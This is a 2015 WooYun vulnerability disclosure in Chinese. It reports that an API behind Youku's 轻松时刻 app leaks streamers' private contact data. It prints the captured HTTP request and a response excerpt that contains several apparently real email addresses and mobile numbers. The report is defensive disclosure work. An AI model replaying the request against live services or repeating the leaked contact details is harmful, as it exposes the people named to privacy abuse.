当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0149342

漏洞标题：优酷某业务信息泄露(用户手机号&主播敏感信息)

相关厂商：优酷

漏洞作者： DloveJ

提交时间：2015-10-25 21:51

修复时间：2015-12-10 10:04

公开时间：2015-12-10 10:04

漏洞类型：账户体系控制不严

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-25： 细节已通知厂商并且等待厂商处理中
2015-10-26： 厂商已经确认，细节仅向厂商公开
2015-11-05： 细节向核心白帽子及相关领域专家公开
2015-11-15： 细节向普通白帽子公开
2015-11-25： 细节向实习白帽子公开
2015-12-10： 细节向公众公开

简要描述：

啦啦啦，好久不来额

详细说明：

下载轻松时刻app

1.png


点击用户头像，以YOMI为例，只要是绑定了手机的都可以显示出来。
点击头像的同时抓包，将第一个包放掉，拦截第二个

1.png


得到了YOMI私人邮箱

mask 区域 
*****i@sin*****


同时发现了所有官方的绑定方式(即官方认证的)
就是这个接口

POST /cop/router/rest.json HTTP/1.1
Content-Length: 296
Content-Type: application/x-www-form-urlencoded
Host: api.y.youku.com
Connection: Keep-Alive
Accept-Encoding: gzip
timestamp=2015-10-25+14%3A14%3A44&count=30&version=1.0&uid=562bcf2ae69936757fb&page=1&secret_id=55bad81ae4b0b404f7c82fe5&action=cloudcommunity.cms.fe_list_item&modid=561e208aa1a2a78f&appid=55bad7d1eb848b5&sign=42b2a9cba03f86214b6&from=Meizu-MX4&ip=10.128.66.246


response如下

mask 区域 
*****,"auto_type":1,"type":4,"muid":"55bf31a60cf219557d63e7ca","id":"562c60c4e4b06a7d566d3a51","cover":["http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003655d578ec3466346334343362.png"],"title":"拍客视界","cover_src":[],"create_time":1444815614,"mu_data":{"ll_time":1438593446,"uid":"55bf31a60cf219557d63e7ca","reg_source":101,"status":0,"reg_time":1438593446,"freeze_status":0,"v_certification":1,"avatar":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003655d578ec3466346334343362.png","recommend":1,"avatar_big":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003655d578ec3466346334343362.png","role_certification":2,"area":"","nick":"拍客视界","email":"veralee_qute@163.com","background":"","gender":2,"signature":"一档原创类节目。精选全国各地优质拍客内容，记录平民百姓的冷暖人间","mobile":"10000000004"},"brief":"一档原创类节目。精选全国各地优质拍客内容，记录平民百姓的冷暖人间"},{"template":"itm_rich1","status":1,"mod_ver_id":"562c60c4e4b06a7d566d3a47","auto_type":1,"type":4,"muid":"55c213ac0cf241203371d527","id":"562c60c4e4b06a7d566d3a52","cover":["http://wx.qlogo.cn/mmopen/mOFqRPOkyRkT8OO8jicBNRnuBcMciaTHpL4RpcqiavdQgdb6AMcqeGzDIiah1UQkbSQ5YFyOialzobn5asIdzZlEywlaszY0vtoia9/0"],"title":"可爱大熊猫","cover_src":[],"create_time":1444815614,"mu_data":{"ll_time":1444470913,"uid":"55c213ac0cf241203371d527","reg_source":3,"status":0,"reg_time":1438793470,"freeze_status":0,"v_certification":1,"avatar":"http://wx.qlogo.cn/mmopen/mOFqRPOkyRkT8OO8jicBNRnuBcMciaTHpL4RpcqiavdQgdb6AMcqeGzDIiah1UQkbSQ5YFyOialzobn5asIdzZlEywlaszY0vtoia9/0","recommend":1,"avatar_big":"http://wx.qlogo.cn/mmopen/mOFqRPOkyRkT8OO8jicBNRnuBcMciaTHpL4RpcqiavdQgdb6AMcqeGzDIiah1UQkbSQ5YFyOialzobn5asIdzZlEywlaszY0vtoia9/0","role_certification":2,"area":"","nick":"可爱大熊猫","email":"rotby@163.com","background":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-permi.cloud.youku.com&fid=05a2003155ed04043739386636656638.png","gender":1,"signature":"无个性不签名","mobile":"13581551113"},"brief":"无个性不签名"},{"template":"itm_rich1","status":1,"mod_ver_id":"562c60c4e4b06a7d566d3a47","auto_type":1,"type":4,"muid":"55e159570cf294b3bd330108","id":"562c60c4e4b06a7d566d3a53","cover":["http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-permi.cloud.youku.com&fid=05a2003155e15dbc3137636339333039.png"],"title":"拔个C爱翠翠","cover_src":[],"create_time":1444815614,"mu_data":{"ll_time":1441026691,"uid":"55e159570cf294b3bd330108","reg_source":101,"status":0,"reg_time":1440832470,"v_certification":1,"freeze_status":0,"avatar":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-permi.cloud.youku.com&fid=05a2003155e15dbc3137636339333039.png","recommend":1,"avatar_big":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-permi.cloud.youku.com&fid=05a2003155e15dbc3137636339333039.png","role_certification":0,"area":"","nick":"拔个C爱翠翠","background":"","gender":0,"signature":"Forever16","mobile":"15210160108"},"brief":"Forever16"},{"template":"itm_rich1","status":1,"mod_ver_id":"562c60c4e4b06a7d566d3a47","auto_type":1,"type":4,"muid":"55bf34150cf263151048cddb","id":"562c60c4e4b06a7d566d3a54","cover":["http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003055d579423739343066646532.png"],"title":"歪打正着","cover_src":[],"create_time":1444815614,"mu_data":{"ll_time":1442543470,"uid":"55bf34150cf263151048cddb","reg_source":101,"status":0,"reg_time":1438594069,"freeze_status":0,"v_certification":1,"avatar":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003055d579423739343066646532.png","recommend":1,"avatar_big":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003055d579423739343066646532.png","role_certification":2,"area":"","nick":"歪打正着","email":"873244549@qq.com","background":"","gender":0,"signature":"搞笑娱乐的真人秀节目， 主题面向年轻观众，既有恶搞又贴近现实","mobile":"10000000005"},"brief":"搞笑娱乐的真人秀节目， 主题面向年轻观众，既有恶搞又贴近现实"},{"template":"itm_rich1","status":1,"mod_ver_id":"562c60c4e4b06a7d566d3a47","auto_type":1,"type":4,"muid":"55c1b36e0cf2a46edabe4118","id":"562c60c4e4b06a7d566d3a55","cover":["http://43.250.14.55/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4006655c1bedd6339316539393532.png"],"title":"魏天阳","cover_src":[],"create_time":1444815614,"mu_data":{"ll_time":1445309616,"uid":"55c1b36e0cf2a46edabe4118","reg_source":101,"status":0,"reg_time":1438760617,"v_certification":1,"freeze_status":0,"avatar":"http://43.250.14.55/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4006655c1bedd6339316539393532.png","recommend":1,"avatar_big":"http://43.250.14.55/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4006655c1bedd6339316539393532.png","role_certification":0,"area":"","nick":"魏天阳","background":"","gender":2,"signature":"呵呵&qu*****


随便列出几个

mask 区域 
*****gemini_ca*****
*****t;:"weijiarong@youku.*****
*****quot;:"5291*****
*****;email":&quot*****
*****;email":&quot*****
*****;email":&quot*****
*****,"email"*****
*****^球⭐颈部以下腹部以上有肥又^*****
*****t;","mobile&*****
*****ot;"mobile&qu*****
*****t;,"email"*****
*****,""mobile&q*****
*****;,"mobile&quot*****
*****uot;,"email&quo*****
*****t;,"email"*****
*****,"email":&q*****
*****uot;mobile":&*****
**********
**********
*****^^松时刻^*****
**********
**********
*****^松时刻^*****
**********
**********
*****nder":1,"signature":"暖*****
*****":0,"signature":"不死就*****
*****t;gender":0,"signature":&qu*****
*****ot;signature":"",*****
*****;:"社会那么多发明，都是懒^*****
*****der":1,"signature":"二^*****
*****nature":"最想進入輕鬆時刻編*****


然后我为了确定就加了个群聊

S51025-145244.jpg

S51025-145251.jpg


一种不祥的预感，应为我也是用手机注册的

漏洞证明：

修复方案：

版权声明：转载请注明来源 DloveJ@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-10-26 10:04

厂商回复：

感谢“DloveJ”帮忙发现问题，漏洞修复中！

最新状态：

暂无